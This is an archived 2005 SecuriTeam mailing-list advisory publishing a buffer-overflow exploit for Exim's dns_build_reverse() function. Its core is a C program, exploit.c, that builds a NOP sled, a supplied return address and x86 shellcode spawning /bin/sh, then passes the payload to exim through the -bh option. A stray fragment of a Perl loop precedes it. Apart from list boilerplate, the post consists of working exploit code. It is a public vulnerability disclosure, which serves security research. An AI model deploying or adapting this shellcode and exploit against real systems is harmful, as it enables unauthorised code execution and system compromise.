[EXPL] Exim dns_buld_reverse() Exploit

Source: http://www.derkeiler.com/Mailing−Lists/Securiteam/2005−01/0061.html

---

From: SecuriTeam (*support_at_securiteam.com*)
Date: 01/16/05

```
To: list@securiteam.com
Date: 16 Jan 2005 10:47:27 +0200
```

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
− − promotion

The SecuriTeam alerts list − Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html

− − − − − − − − −

Exim dns_buld_reverse() Exploit
−−−

```
    printf "$hex : $res\n";
    $cnt += 4;
}
```

exploit.c

```
#define NOP 0x90
#define TAMBUF 368
#define INIC_SH 20
#include <stdlib.h>

int main (int argc, char **argv) {

    static char shellcode[]=
    "\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89"
    "\xf3\x8d\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e"
    "\x2f\x73\x68\x58";

    char buffer [TAMBUF + 1];
    char cadena [TAMBUF + 5];
    int cont;
    unsigned long ret = strtoul (argv[1], NULL, 16);

    for (cont = 0; cont < TAMBUF / 4; cont++)
            *( (long *) buffer + cont) = ret;

    for (cont = 0; cont < strlen (shellcode); cont++)
            buffer [cont + INIC_SH] = shellcode [cont];

    for (cont = 0; cont < INIC_SH; cont++)
            buffer [cont] = NOP;

    buffer [TAMBUF] = 0;
    printf ("RET = 0x%x\n", ret);
    strcpy (cadena, "::%A");
    strcat (cadena, buffer);
        execl ("./exim", "./exim", "−bh", cadena, (char *) 0);
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:smcsoc@yahoo.es> Rafael San Miguel Carrasco.

==========

This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list−unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list−subscribe@securiteam.com

==========
==========

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.